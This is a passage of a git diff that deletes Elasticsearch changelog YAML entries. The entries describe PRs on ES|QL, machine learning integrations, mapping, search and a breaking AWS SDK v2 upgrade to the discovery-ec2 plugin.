+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 120363
-summary: Add thread pool utilization metric
-area: "Infra/Metrics"
-type: enhancement
-issues: []
diff --git a/docs/changelog/120488.yaml b/docs/changelog/120488.yaml
deleted file mode 100644
index 8d5b07ad21634..0000000000000
--- a/docs/changelog/120488.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 120488
-summary: Publish queue latency metrics from tracked thread pools
-area: "Infra/Metrics"
-type: enhancement
-issues: []
diff --git a/docs/changelog/120751.yaml b/docs/changelog/120751.yaml
deleted file mode 100644
index 0c1dffc0e527b..0000000000000
--- a/docs/changelog/120751.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 120751
-summary: Adding support for binary embedding type to Cohere service embedding type
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/120774.yaml b/docs/changelog/120774.yaml
deleted file mode 100644
index 8157e1725be83..0000000000000
--- a/docs/changelog/120774.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 120774
-summary: Retry ES|QL node requests on shard level failures
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/120957.yaml b/docs/changelog/120957.yaml
deleted file mode 100644
index 841ef945ce7ef..0000000000000
--- a/docs/changelog/120957.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 120957
-summary: Introduce `AllocationBalancingRoundSummaryService`
-area: Allocation
-type: enhancement
-issues: []
diff --git a/docs/changelog/120998.yaml b/docs/changelog/120998.yaml
deleted file mode 100644
index 4d9a3aa3eb1c4..0000000000000
--- a/docs/changelog/120998.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 120998
-summary: ES|QL `change_point` processing command
-area: Machine Learning
-type: feature
-issues: []
diff --git a/docs/changelog/121041.yaml b/docs/changelog/121041.yaml
deleted file mode 100644
index 44a51a966c0a1..0000000000000
--- a/docs/changelog/121041.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 121041
-summary: Support configurable chunking in `semantic_text` fields
-area: Relevance
-type: enhancement
-issues: []
diff --git a/docs/changelog/121106.yaml b/docs/changelog/121106.yaml
deleted file mode 100644
index d98c0938c2a7f..0000000000000
--- a/docs/changelog/121106.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 121106
-summary: Add `ModelRegistryMetadata` to Cluster State
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/121240.yaml b/docs/changelog/121240.yaml
deleted file mode 100644
index b0ca8e5e614db..0000000000000
--- a/docs/changelog/121240.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 121240
-summary: Implement runtime skip_unavailable=true
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/121256.yaml b/docs/changelog/121256.yaml
deleted file mode 100644
index b4ba7fb3d0149..0000000000000
--- a/docs/changelog/121256.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 121256
-summary: Run `TransportEnrichStatsAction` on local node
-area: Ingest Node
-type: enhancement
-issues: []
diff --git a/docs/changelog/121260.yaml b/docs/changelog/121260.yaml
deleted file mode 100644
index 40c7487f29b12..0000000000000
--- a/docs/changelog/121260.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 121260
-summary: Introduce a pre-mapping logical plan processing step
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/121324.yaml b/docs/changelog/121324.yaml
deleted file mode 100644
index d105ea0b46b4c..0000000000000
--- a/docs/changelog/121324.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 121324
-summary: Support duplicate suggestions in completion field
-area: Suggesters
-type: bug
-issues:
- - 82432
diff --git a/docs/changelog/121327.yaml b/docs/changelog/121327.yaml
deleted file mode 100644
index fc684ea504f3d..0000000000000
--- a/docs/changelog/121327.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 121327
-summary: Reduce Data Loss in System Indices Migration
-area: Infra/Core
-type: bug
-issues: []
diff --git a/docs/changelog/121370.yaml b/docs/changelog/121370.yaml
deleted file mode 100644
index cfa67bf5b2644..0000000000000
--- a/docs/changelog/121370.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 121370
-summary: Improve SLM Health Indicator to cover missing snapshot
-area: ILM+SLM
-type: enhancement
-issues: []
diff --git a/docs/changelog/121548.yaml b/docs/changelog/121548.yaml
deleted file mode 100644
index 889a3e81c3f8c..0000000000000
--- a/docs/changelog/121548.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 121548
-summary: Adding support for specifying embedding type to Jina AI service settings
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/121784.yaml b/docs/changelog/121784.yaml
deleted file mode 100644
index c336205767803..0000000000000
--- a/docs/changelog/121784.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 121784
-summary: Optionally allow text similarity reranking to fail
-area: Search
-type: enhancement
-issues: []
diff --git a/docs/changelog/121805.yaml b/docs/changelog/121805.yaml
deleted file mode 100644
index 7d0f3a96221ae..0000000000000
--- a/docs/changelog/121805.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 121805
-summary: Support subset of metrics in aggregate metric double
-area: "ES|QL"
-type: enhancement
-issues: []
diff --git a/docs/changelog/121827.yaml b/docs/changelog/121827.yaml
deleted file mode 100644
index 11c9c201655a7..0000000000000
--- a/docs/changelog/121827.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 121827
-summary: Updates to allow using Cohere binary embedding response in semantic search
-  queries
-area: Machine Learning
-type: bug
-issues: []
diff --git a/docs/changelog/121885.yaml b/docs/changelog/121885.yaml
deleted file mode 100644
index 252d0cef2cec1..0000000000000
--- a/docs/changelog/121885.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 121885
-summary: Introduce batched query execution and data-node side reduce
-area: Search
-type: enhancement
-issues: []
diff --git a/docs/changelog/121920.yaml b/docs/changelog/121920.yaml
deleted file mode 100644
index 6f0f4462d52ae..0000000000000
--- a/docs/changelog/121920.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 121920
-summary: Account for the `SearchHit` source in circuit breaker
-area: Search
-type: enhancement
-issues:
- - 89656
diff --git a/docs/changelog/121942.yaml b/docs/changelog/121942.yaml
deleted file mode 100644
index 4973ebbb4f26c..0000000000000
--- a/docs/changelog/121942.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 121942
-summary: Allow partial results in ES|QL
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/121948.yaml b/docs/changelog/121948.yaml
deleted file mode 100644
index bfa87dbe51955..0000000000000
--- a/docs/changelog/121948.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 121948
-summary: Add initial grammar and changes for FORK
-area: ES|QL
-type: feature
-issues: []
diff --git a/docs/changelog/122062.yaml b/docs/changelog/122062.yaml
deleted file mode 100644
index 12567bb60217e..0000000000000
--- a/docs/changelog/122062.yaml
+++ /dev/null
@@ -1,54 +0,0 @@
-pr: 122062
-summary: Upgrade `discovery-ec2` to AWS SDK v2
-area: Discovery-Plugins
-type: breaking
-issues: []
-breaking:
-  title: Upgrade `discovery-ec2` to AWS SDK v2
-  area: Cluster and node setting
-  details: >-
-
-    In earlier versions of {es} the `discovery-ec2` plugin was based on the AWS
-    SDK v1. AWS will withdraw support for this SDK before the end of the life
-    of {es} {minor-version} so we must migrate to the newer AWS SDK v2.
-
-    Unfortunately there are several differences between the two AWS SDK
-    versions which may require you to adjust your system configuration when
-    upgrading to {es} {minor-version} or later. These differences include, but
-    may not be limited to, the following items.
-
-    * AWS SDK v2 does not support the EC2 IMDSv1 protocol.
-
-    * AWS SDK v2 does not support the `aws.secretKey` or
-      `com.amazonaws.sdk.ec2MetadataServiceEndpointOverride` system properties.
-
-    * AWS SDK v2 does not permit specifying a choice between HTTP and HTTPS so
-      the `discovery.ec2.protocol` setting is no longer effective.
-
-    * AWS SDK v2 does not accept an access key without a secret key or vice
-      versa.
-
-  impact: >-
-
-    If you use the `discovery-ec2` plugin, test your upgrade thoroughly before
-    upgrading any production workloads.
-
-    Adapt your configuration to the new SDK functionality. This includes, but
-    may not be limited to, the following items.
-
-    * If you use IMDS to determine the availability zone of a node or to obtain
-      credentials for accessing the EC2 API, ensure that it supports the IMDSv2
-      protocol.
-
-    * If applicable, discontinue use of the `aws.secretKey` and
-      `com.amazonaws.sdk.ec2MetadataServiceEndpointOverride` system properties.
-
-    * If applicable, specify that you wish to use the insecure HTTP protocol to
-      access the EC2 API by setting `discovery.ec2.endpoint` to a URL which
-      starts with `http://`.
-
-    * Either supply both an access key and a secret key using the keystore
-      settings `discovery.ec2.access_key` and `discovery.ec2.secret_key`, or
-      configure neither of these settings.
-
-  notable: true
diff --git a/docs/changelog/122066.yaml b/docs/changelog/122066.yaml
deleted file mode 100644
index 79a9129bd542a..0000000000000
--- a/docs/changelog/122066.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122066
-summary: Adding elser default endpoint for EIS
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/122134.yaml b/docs/changelog/122134.yaml
deleted file mode 100644
index 25ca556789525..0000000000000
--- a/docs/changelog/122134.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122134
-summary: Adding integration for VoyageAI embeddings and rerank models
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/122218.yaml b/docs/changelog/122218.yaml
deleted file mode 100644
index bfd44399e3e8d..0000000000000
--- a/docs/changelog/122218.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122218
-summary: Integrate with `DeepSeek` API
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/122224.yaml b/docs/changelog/122224.yaml
deleted file mode 100644
index 41ae8c6578600..0000000000000
--- a/docs/changelog/122224.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 122224
-summary: Enable the use of nested field type with index.mode=time_series
-area: Mapping
-type: enhancement
-issues:
- - 120874
diff --git a/docs/changelog/122272.yaml b/docs/changelog/122272.yaml
deleted file mode 100644
index 62e5769179402..0000000000000
--- a/docs/changelog/122272.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 122272
-summary: "[Inference API] Rename `model_id` prop to model in EIS sparse inference\
-  \ request body"
-area: Inference
-type: enhancement
-issues: []
diff --git a/docs/changelog/122280.yaml b/docs/changelog/122280.yaml
deleted file mode 100644
index 93a7e4e1aaf57..0000000000000
--- a/docs/changelog/122280.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122280
-summary: Use `FallbackSyntheticSourceBlockLoader` for number fields
-area: Mapping
-type: enhancement
-issues: []
diff --git a/docs/changelog/122365.yaml b/docs/changelog/122365.yaml
deleted file mode 100644
index 1229cd8754ca6..0000000000000
--- a/docs/changelog/122365.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122365
-summary: Fix handling of auto expand replicas for stateless indices
-area: "Search"
-type: bug
-issues: []
diff --git a/docs/changelog/122381.yaml b/docs/changelog/122381.yaml
deleted file mode 100644
index 4407482db4765..0000000000000
--- a/docs/changelog/122381.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 122381
-summary: Adds implementations of dotProduct and cosineSimilarity painless methods to operate on float vectors for byte fields
-area: Vector Search
-type: enhancement
-issues:
- - 117274
diff --git a/docs/changelog/122390.yaml b/docs/changelog/122390.yaml
deleted file mode 100644
index 4338519ad60ba..0000000000000
--- a/docs/changelog/122390.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122390
-summary: Add health indicator impact to `HealthPeriodicLogger`
-area: Health
-type: enhancement
-issues: []
diff --git a/docs/changelog/122458.yaml b/docs/changelog/122458.yaml
deleted file mode 100644
index e28e22eb363b6..0000000000000
--- a/docs/changelog/122458.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122458
-summary: '`DesiredBalanceReconciler` always returns `AllocationStats`'
-area: Allocation
-type: bug
-issues: []
diff --git a/docs/changelog/122459.yaml b/docs/changelog/122459.yaml
deleted file mode 100644
index 9dae5c05f438a..0000000000000
--- a/docs/changelog/122459.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122459
-summary: Double parameter markers for identifiers
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/122486.yaml b/docs/changelog/122486.yaml
deleted file mode 100644
index 027d2a5e63ba3..0000000000000
--- a/docs/changelog/122486.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122486
-summary: Add index mode to get data stream API
-area: Data streams
-type: enhancement
-issues: []
diff --git a/docs/changelog/122497.yaml b/docs/changelog/122497.yaml
deleted file mode 100644
index 46c385ea4ed46..0000000000000
--- a/docs/changelog/122497.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122497
-summary: Check if index patterns conform to valid format before validation
-area: CCS
-type: enhancement
-issues: []
diff --git a/docs/changelog/122586.yaml b/docs/changelog/122586.yaml
deleted file mode 100644
index 1555148b57917..0000000000000
--- a/docs/changelog/122586.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 122586
-summary: "ESQL: Fix inconsistent results in using scaled_float field"
-area: ES|QL
-type: bug
-issues:
-  - 122547
diff --git a/docs/changelog/122615.yaml b/docs/changelog/122615.yaml
deleted file mode 100644
index 0070fea6a3b95..0000000000000
--- a/docs/changelog/122615.yaml
+++ /dev/null
@@ -1,8 +0,0 @@
-pr: 122615
-summary: Enable synthetic recovery source by default when synthetic source is enabled.
-  Using synthetic recovery source significantly improves indexing performance compared
-  to regular recovery source.
-area: Mapping
-type: enhancement
-issues:
- - 116726
diff --git a/docs/changelog/122637.yaml b/docs/changelog/122637.yaml
deleted file mode 100644
index e9c108311d208..0000000000000
--- a/docs/changelog/122637.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 122637
-summary: Use `FallbackSyntheticSourceBlockLoader` for `unsigned_long` and `scaled_float`
-  fields
-area: Mapping
-type: enhancement
-issues: []
diff --git a/docs/changelog/122638.yaml b/docs/changelog/122638.yaml
deleted file mode 100644
index 67c47eb2d957a..0000000000000
--- a/docs/changelog/122638.yaml
+++ /dev/null
@@ -1,7 +0,0 @@
-pr: 122638
-summary: Expose `input_type` option at root level for `text_embedding` task type in
-  Perform Inference API
-area: Machine Learning
-type: enhancement
-issues:
- - 117856
diff --git a/docs/changelog/122660.yaml b/docs/changelog/122660.yaml
deleted file mode 100644
index 57d7ec0976f26..0000000000000
--- a/docs/changelog/122660.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122660
-summary: Render `aggregate_metric_double`
-area: "ES|QL"
-type: enhancement
-issues: []
diff --git a/docs/changelog/122708.yaml b/docs/changelog/122708.yaml
deleted file mode 100644
index ec4e75798d473..0000000000000
--- a/docs/changelog/122708.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122708
-summary: Support partial results in CCS in ES|QL
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/122821.yaml b/docs/changelog/122821.yaml
deleted file mode 100644
index 8773b6f77c4b6..0000000000000
--- a/docs/changelog/122821.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 122821
-summary: Fix functions emitting warnings with no source
-area: ES|QL
-type: bug
-issues:
- - 122588
diff --git a/docs/changelog/122823.yaml b/docs/changelog/122823.yaml
deleted file mode 100644
index e0d44cc261f2c..0000000000000
--- a/docs/changelog/122823.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122823
-summary: Prevent Query Rule Creation with Invalid Numeric Match Criteria
-area: Relevance
-type: bug
-issues: []
diff --git a/docs/changelog/122852.yaml b/docs/changelog/122852.yaml
deleted file mode 100644
index 579404bdc7f0e..0000000000000
--- a/docs/changelog/122852.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122852
-summary: Run `TransportGetDataStreamsAction` on local node
-area: Data streams
-type: enhancement
-issues: []
diff --git a/docs/changelog/122857.yaml b/docs/changelog/122857.yaml
deleted file mode 100644
index 6d14acc02f2fe..0000000000000
--- a/docs/changelog/122857.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122857
-summary: Run `TransportGetWatcherSettingsAction` on local node
-area: Watcher
-type: enhancement
-issues: []
diff --git a/docs/changelog/122860.yaml b/docs/changelog/122860.yaml
deleted file mode 100644
index 16f234dc17d95..0000000000000
--- a/docs/changelog/122860.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122860
-summary: Improved error message when index field type is invalid
-area: Mapping
-type: enhancement
-issues: []
diff --git a/docs/changelog/122885.yaml b/docs/changelog/122885.yaml
deleted file mode 100644
index 818b2fbd4a00e..0000000000000
--- a/docs/changelog/122885.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122885
-summary: Run `TransportExplainLifecycleAction` on local node
-area: ILM+SLM
-type: enhancement
-issues: []
diff --git a/docs/changelog/122890.yaml b/docs/changelog/122890.yaml
deleted file mode 100644
index 5f99cc94df361..0000000000000
--- a/docs/changelog/122890.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122890
-summary: Introduce `allow_partial_results` setting in ES|QL
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/122891.yaml b/docs/changelog/122891.yaml
deleted file mode 100644
index 35b8865b771d4..0000000000000
--- a/docs/changelog/122891.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122891
-summary: Pragma to load from stored fields
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/122921.yaml b/docs/changelog/122921.yaml
deleted file mode 100644
index 3c0da28625b9c..0000000000000
--- a/docs/changelog/122921.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122921
-summary: Run `TransportGetMappingsAction` on local node
-area: Indices APIs
-type: enhancement
-issues: []
diff --git a/docs/changelog/122933.yaml b/docs/changelog/122933.yaml
deleted file mode 100644
index 4b9a58f017ba0..0000000000000
--- a/docs/changelog/122933.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122933
-summary: Run XPack usage actions on local node
-area: Stats
-type: enhancement
-issues: []
diff --git a/docs/changelog/122991.yaml b/docs/changelog/122991.yaml
deleted file mode 100644
index e038bca0a86bc..0000000000000
--- a/docs/changelog/122991.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122991
-summary: "GCS blob store: add `OperationPurpose/Operation` stats counters"
-area: Snapshot/Restore
-type: enhancement
-issues: []
diff --git a/docs/changelog/122999.yaml b/docs/changelog/122999.yaml
deleted file mode 100644
index a0134afc59a05..0000000000000
--- a/docs/changelog/122999.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 122999
-summary: Store arrays offsets for ip fields natively with synthetic source
-area: Mapping
-type: enhancement
-issues: []
diff --git a/docs/changelog/123044.yaml b/docs/changelog/123044.yaml
deleted file mode 100644
index 2cb758c23edec..0000000000000
--- a/docs/changelog/123044.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 123044
-summary: Adding validation to `ElasticsearchInternalService`
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/123074.yaml b/docs/changelog/123074.yaml
deleted file mode 100644
index 59ca1524893f8..0000000000000
--- a/docs/changelog/123074.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 123074
-summary: Adding ES|QL Reranker command in snapshot builds
-area: Ranking
-type: feature
-issues: []
diff --git a/docs/changelog/123085.yaml b/docs/changelog/123085.yaml
deleted file mode 100644
index 316b1f6f26705..0000000000000
--- a/docs/changelog/123085.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 123085
-summary: Remove duplicated nested commands
-area: ES|QL
-type: bug
-issues: []
diff --git a/docs/changelog/123150.yaml b/docs/changelog/123150.yaml
deleted file mode 100644
index d9c9072f6213e..0000000000000
--- a/docs/changelog/123150.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 123150
-summary: Limit the number of chunks for semantic text to prevent high memory usage
-area: Machine Learning
-type: feature
-issues: []
diff --git a/docs/changelog/123156.yaml b/docs/changelog/123156.yaml
deleted file mode 100644
index 6d220c8c585df..0000000000000
--- a/docs/changelog/123156.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 123156
-summary: Wrap remote errors with cluster name to provide more context
-area: Search
-type: enhancement
-issues: []
diff --git a/docs/changelog/123187.yaml b/docs/changelog/123187.yaml
deleted file mode 100644
index 46bb7e4bab519..0000000000000
--- a/docs/changelog/123187.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 123187
-summary: Add bit vector support to semantic text
-area: Vector Search
-type: enhancement
-issues: []
diff --git a/docs/changelog/123396.yaml b/docs/changelog/123396.yaml
deleted file mode 100644
index 9b3ff753fb7f6..0000000000000
--- a/docs/changelog/123396.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 123396
-summary: Add initial grammar and planning for RRF (snapshot)
-area: ES|QL
-type: feature
-issues: []
diff --git a/docs/changelog/123460.yaml b/docs/changelog/123460.yaml
deleted file mode 100644
index 17c665cb1069b..0000000000000
--- a/docs/changelog/123460.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 123460
-summary: "ES|QL: Support `::date` in inline cast"
-area: ES|QL
-type: enhancement
-issues:
-  - 116746
diff --git a/docs/changelog/123543.yaml b/docs/changelog/123543.yaml
deleted file mode 100644
index 1e3f2893a7c19..0000000000000
--- a/docs/changelog/123543.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 123543
-summary: Enhance memory accounting for document expansion and introduce max document
-  size limit
-area: CRUD
-type: enhancement
-issues: []
diff --git a/docs/changelog/123588.yaml b/docs/changelog/123588.yaml
deleted file mode 100644
index bea2fc56b9502..0000000000000
--- a/docs/changelog/123588.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 123588
-summary: Give Kibana user 'all' permissions for .entity_analytics.* indices
-area: Infra/Core
-type: enhancement
-issues: []
diff --git a/docs/changelog/123630.yaml b/docs/changelog/123630.yaml
deleted file mode 100644
index 10a12f1508cb9..0000000000000
--- a/docs/changelog/123630.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 123630
-summary: Limit number of suppressed S3 deletion errors
-area: Snapshot/Restore
-type: bug
-issues:
- - 123354
diff --git a/docs/changelog/123712.yaml b/docs/changelog/123712.yaml
deleted file mode 100644
index b3ae3c5a8fda4..0000000000000
--- a/docs/changelog/123712.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 123712
-summary: Process ILM cluster state updates on another thread
-area: ILM+SLM
-type: enhancement
-issues: []
diff --git a/docs/changelog/123763.yaml b/docs/changelog/123763.yaml
deleted file mode 100644
index 3b9428e0de7bc..0000000000000
--- a/docs/changelog/123763.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 123763
-summary: Skip semantic_text embedding generation when no content is provided.
-area: Relevance
-type: enhancement
-issues: []
diff --git a/docs/changelog/123852.yaml b/docs/changelog/123852.yaml
deleted file mode 100644
index 8a7f9af9e7d36..0000000000000
--- a/docs/changelog/123852.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 123852
-summary: Retry when the server can't be resolved (Google Cloud Storage)
-area: Snapshot/Restore
-type: enhancement
-issues: []
diff --git a/docs/changelog/124025.yaml b/docs/changelog/124025.yaml
deleted file mode 100644
index 8ec9a0fd1c537..0000000000000
--- a/docs/changelog/124025.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124025
-summary: "[Inference API] Propagate product use case http header to EIS"
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/124050.yaml b/docs/changelog/124050.yaml
deleted file mode 100644
index 352678dd4bb5a..0000000000000
--- a/docs/changelog/124050.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124050
-summary: Use `FallbackSyntheticSourceBlockLoader` for boolean and date fields
-area: Mapping
-type: enhancement
-issues: []
diff --git a/docs/changelog/124094.yaml b/docs/changelog/124094.yaml
deleted file mode 100644
index b4c0f1711815f..0000000000000
--- a/docs/changelog/124094.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124094
-summary: ES|QL slow log
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/124177.yaml b/docs/changelog/124177.yaml
deleted file mode 100644
index 4fe40cf3722c6..0000000000000
--- a/docs/changelog/124177.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 124177
-summary: "Improve error message for ( and ["
-area: ES|QL
-type: bug
-issues:
- - 124145
diff --git a/docs/changelog/124313.yaml b/docs/changelog/124313.yaml
deleted file mode 100644
index fc4d4d9d815e4..0000000000000
--- a/docs/changelog/124313.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124313
-summary: Optimize memory usage in `ShardBulkInferenceActionFilter`
-area: Search
-type: enhancement
-issues: []
diff --git a/docs/changelog/124394.yaml b/docs/changelog/124394.yaml
deleted file mode 100644
index 086b66f71a7cb..0000000000000
--- a/docs/changelog/124394.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124394
-summary: Avoid `NamedWritable` in block serialization
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/124564.yaml b/docs/changelog/124564.yaml
deleted file mode 100644
index ebfc2593db19a..0000000000000
--- a/docs/changelog/124564.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124564
-summary: Restore `TextSimilarityRankBuilder` XContent output
-area: Ranking
-type: bug
-issues: []
diff --git a/docs/changelog/124574.yaml b/docs/changelog/124574.yaml
deleted file mode 100644
index 32e49b4cfd9c4..0000000000000
--- a/docs/changelog/124574.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124574
-summary: Allow passing several reserved state chunks in single process call
-area: Infra/Settings
-type: enhancement
-issues: []
diff --git a/docs/changelog/124581.yaml b/docs/changelog/124581.yaml
deleted file mode 100644
index cc978981b1efc..0000000000000
--- a/docs/changelog/124581.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124581
-summary: New `vector_rescore` parameter as a quantized index type option
-area: Vector Search
-type: enhancement
-issues: []
diff --git a/docs/changelog/124594.yaml b/docs/changelog/124594.yaml
deleted file mode 100644
index 08417c1304c38..0000000000000
--- a/docs/changelog/124594.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124594
-summary: Store arrays offsets for numeric fields natively with synthetic source
-area: Mapping
-type: enhancement
-issues: []
diff --git a/docs/changelog/124595.yaml b/docs/changelog/124595.yaml
deleted file mode 100644
index 7afd0541b6231..0000000000000
--- a/docs/changelog/124595.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124595
-summary: '`ToAggregateMetricDouble` function'
-area: "ES|QL"
-type: enhancement
-issues: []
diff --git a/docs/changelog/124610.yaml b/docs/changelog/124610.yaml
deleted file mode 100644
index 2afd41dffa3ba..0000000000000
--- a/docs/changelog/124610.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124610
-summary: Remove page alignment in exchange sink
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/124638.yaml b/docs/changelog/124638.yaml
deleted file mode 100644
index 34b1369767fd5..0000000000000
--- a/docs/changelog/124638.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 124638
-summary: Provide model size statistics as soon as an anomaly detection job is opened
-area: Machine Learning
-type: bug
-issues:
- - 121168
diff --git a/docs/changelog/124676.yaml b/docs/changelog/124676.yaml
deleted file mode 100644
index 94b52127e92e5..0000000000000
--- a/docs/changelog/124676.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 124676
-summary: TO_LOWER processes all values
-area: ES|QL
-type: bug
-issues:
- - 124002
diff --git a/docs/changelog/124690.yaml b/docs/changelog/124690.yaml
deleted file mode 100644
index 07b17e8c64bdf..0000000000000
--- a/docs/changelog/124690.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124690
-summary: Avoid creating known_fields for every check in Alias
-area: Indices APIs
-type: enhancement
-issues: []
diff --git a/docs/changelog/124708.yaml b/docs/changelog/124708.yaml
deleted file mode 100644
index 8585eede63215..0000000000000
--- a/docs/changelog/124708.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124708
-summary: Throw exception for unknown token in RestIndexPutAliasAction
-area: Indices APIs
-type: enhancement
-issues: []
diff --git a/docs/changelog/124722.yaml b/docs/changelog/124722.yaml
deleted file mode 100644
index 9bbfd846ef2eb..0000000000000
--- a/docs/changelog/124722.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 124722
-summary: Add panama implementations of byte-bit and float-bit script operations
-area: Vector Search
-type: enhancement
-issues:
- - 117096
diff --git a/docs/changelog/124737.yaml b/docs/changelog/124737.yaml
deleted file mode 100644
index d7a3b370d72d4..0000000000000
--- a/docs/changelog/124737.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124737
-summary: Throw exception for unsupported values type in Alias
-area: Indices APIs
-type: enhancement
-issues: []
diff --git a/docs/changelog/124738.yaml b/docs/changelog/124738.yaml
deleted file mode 100644
index dd2d20af5e7e4..0000000000000
--- a/docs/changelog/124738.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124738
-summary: Upgrade AWS v2 SDK to 2.30.38
-area: Machine Learning
-type: upgrade
-issues: []
diff --git a/docs/changelog/124823.yaml b/docs/changelog/124823.yaml
deleted file mode 100644
index 1c87fc263bdbf..0000000000000
--- a/docs/changelog/124823.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124823
-summary: Report failures on partial results
-area: "ES|QL"
-type: enhancement
-issues: []
